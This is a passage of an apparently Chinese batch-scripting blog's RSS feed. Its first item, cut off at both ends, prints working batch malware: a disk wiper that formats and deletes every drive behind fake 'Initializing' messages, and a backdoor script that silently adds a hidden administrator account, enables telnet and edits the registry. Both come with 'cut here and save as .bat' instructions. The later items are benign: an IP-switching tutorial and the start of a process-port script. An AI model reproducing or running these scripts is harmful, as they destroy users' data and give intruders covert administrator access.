(&quot;&gt;ass_hole.txt&quot;) do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd &gt;&gt;c:temp.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib +r +h c:temp.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Variables . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%drive%) do call format %%a: /q /u /autotest &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Variables . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Validating Data . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%drive%) do call c:temp.bat %%a Munga &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Variables . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Validating Data . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Analyzing System Structure . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%drive%) call attrib -r -h %%a: /S &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib +r +h c:temp.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;call attrib +r +h c:autoexec.bat &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Variables . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Validating Data . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Analyzing System Structure . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Application . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%drive%) call deltree /y %%a:*. &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Variables . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Validating Data . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Analyzing System Structure . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Initializing Application . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Starting Application . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;for %%a in (%drive%) do call c:temp.bat %%a Munga &gt;nul&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;cls&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Thank you for using a Munga Bunga product.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Here is a joke for you . . .&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Q). What&#039;s the worst thing about being an egg?&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo A). You only get laid once.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo HAHAHAHA, get it? Don&#039;t you just love that one?&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Regards,&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo.&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;echo Munga Bunga&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:end&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Hard Drive Killer Pro Version 4.0, enjoy!!!!&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;rem Author: Munga Bunga - from Australia, the land full of retarded Australian&#039;s (help me get out of here).&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;4、灰色轨迹论坛发现的一个批处理后门（教学意义比实际意义大^_^）&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;------------------------ cut here then save as .bat or .cmd file ---------------------------&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo off&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@if &quot;%1&quot; ==&quot;&quot; goto user&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@IF NOT EXIST %systemroot%winhm.bat goto nobat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@attrib -h -S -r %systemroot%winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:nobat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@cd %systemroot%system32&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo off &gt;%systemroot%winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 5 ^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 3 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 7 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo y ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 0 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo y ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 8 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo y ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 1211 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo y ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 0 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 4 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @echo 0 ^&gt;^&gt;%systemroot%system32gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @cd %systemroot%system32 &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @tlntadmn^&lt;gnm.txt ^&gt;nul &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo @del gnm.txt &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo exit &gt;&gt;winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@attrib +h +r +S %systemroot%winhm.bat&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@IF NOT EXIST %systemroot%system32gnm.vbs goto novbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@attrib -h -S -r %systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;:novbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo set wshshell=createobject (&quot;wscript.shell&quot;) &gt;%systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo a=wshshell.run (&quot;cmd.exe /c net user %1 %2 /add&quot;,0) &gt;&gt;%systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo b=wshshell.run (&quot;cmd.exe /c net user %1 /active:y&quot;,0) &gt;&gt;%systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo c=wshshell.run (&quot;cmd.exe /c net localgroup administrators %1 /add&quot;,0) &gt;&gt;%systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo c=wshshell.run (&quot;cmd.exe /c start %systemroot%winhm.bat&quot;,0) &gt;&gt;%systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@attrib +h +r +S %systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@start %systemroot%system32gnm.vbs&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo windows Registry Editor Version 5.00 &gt;patch.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;hkey_local_machinesystemcurrentcontrolsetserviceslanman&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;serverparameters&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;autoshareserver&quot;=dword:00000000 &gt;&gt;patch.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;autosharewks&quot;=dword:00000000 &gt;&gt;patch.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;hkey_local_machinesystemcurrentcontrolsetcontrollsa&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &quot;restrictanonymous&quot;=dword:00000001 &gt;&gt;patch.dll&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@echo &#091;hkey_local_machinesystemcurrentcontrolsetservicesnetbt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;parameters&#093; &gt;&gt;patch.dll&nbsp;&nbsp;&nbsp;</span><span st]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=744]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:25:31 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[巧用批处理快速切换IP地址]]></title>
  <description><![CDATA[<span style="font-size: 13px;">如果你的计算机同时连接着外网和内网，那么，你肯定会遇到需要经常切换动态IP地址和静态IP地址的烦恼。笔者就是这种情况，计算机通过ADSL连接外网，用的是自动分配IP地址的方式，同时也连接到内网，用的是固定IP地址，因此，经常需要在“本地连接”属性窗口中修改IP地址。每次都要通过“网上邻居→属性→本地连接→Internet协议→TCP/IP→属性”选择，然后点选所需要的IP地址格式，十分繁琐。那么，有没有更为简单的方法呢？经认真摸索，还真找到了便捷的方法，一起来看实现过程：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　1. 创建切换由静态IP地址到动态IP地址的批处理文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　打开记事本，录入以下内容：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Netsh interface IP Set Address &quot;本地连接&quot; DHCP&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Echo 已将IP地址由静态切换成动态，按任一键后，就可以使用外网了……&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Pause&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　录入完毕，经检查无误后，另存为“GoDHCPIP.bat”。文件名任取，好记就行，扩展名必须是“bat”。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　小提示：批处理文件中的“本地连接”是系统的默认网络连接名称，如果你曾经卸载并重装过网卡，那么这里有可能变成“本地连接２”、“本地连接３”等。批处理文件中的“本地连接”字样必须与桌面“网上邻居→属性”窗口中的网络连接图标名称相一致。另外，还要注意在“本地连接”和后面的数字之间有一个空格。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　2. 创建切换动态IP到静态IP的批处理文件&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　打开记事本，录入以下内容：&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Echo off&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Netsh interface IP Set Address &quot;本地连接&quot; Static 192.168.xxx.xxx 255.255.255.0&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Echo 已将IP地址由动态切换成静态：192.168.xxx.xxx，按任一键后，就可以使用内网了……&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　Pause&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　录入完毕，经检查无误后，另存为“GoStaticIP.bat”。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　小提示：批处理文件文件中的“本地连接”含义同上；“192.168.xxx.xxx”是你欲切换到的静态IP地址，请用你实际的IP地址替换。“255.255.255.0”是子网掩码。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　3. 使用&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　当需要使用外网时，只需双击“GoDHCPIP.bat”批处理文件，按任一键后，就可以将IP地址由静态切换到动态，并且无需重新启动计算机，就可以开始使用外网了。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　当需要使用内网时，只需双击“GoStaticIP.bat”批处理文件，根据提示，按任一键后，就可以将IP地址由动态切换到静态固定IP地址了，并且无需重新启动计算机，就可以开始使用内网了。&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;　　小提示：该方法适用于Windows 2000/XP/2003。另外，在Windows XP/2003操作系统中，通过“网上邻居”属性手动更改IP地址无需重启计算机，但在windows 2000操作系统中，要使手动更改的IP生效，则必须重启计算机。而使用该方法则无需重启计算机，方便快捷。</span>]]></description>
  <category><![CDATA[]]></category>
  <link><![CDATA[article.php?mode=a&id=743]]></link>
  <author><![CDATA[hy58]]></author>
  <pubDate><![CDATA[Sat, 06 Jun 2015 09:24:31 +0800]]></pubDate>
</item>
<item>
  <title><![CDATA[巧用批处理实现windows xpwindows2003进程和端口关联]]></title>
  <description><![CDATA[<span style="font-size: 13px;">闲来无事的时候随手写了个,把它放在%SYSTEM%目录下,可省不少心-_-&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM =====================&nbsp;&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM = Write phanrider =&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM = 2005.1.12 =&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@REM =====================&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;@ECHO OFF&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_file=task_1$.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_temp_file=Temp1$.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_file2=task_2$.txt&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set zhl_temp_file2=Temp2$.zhl&nbsp;&nbsp;</span><span style="font-size: 13px;">&nbsp;</span><br style="font-size: 13px;"><span style="font-size: 13px;">&nbsp;&nbsp;&nbsp;&nbsp;set 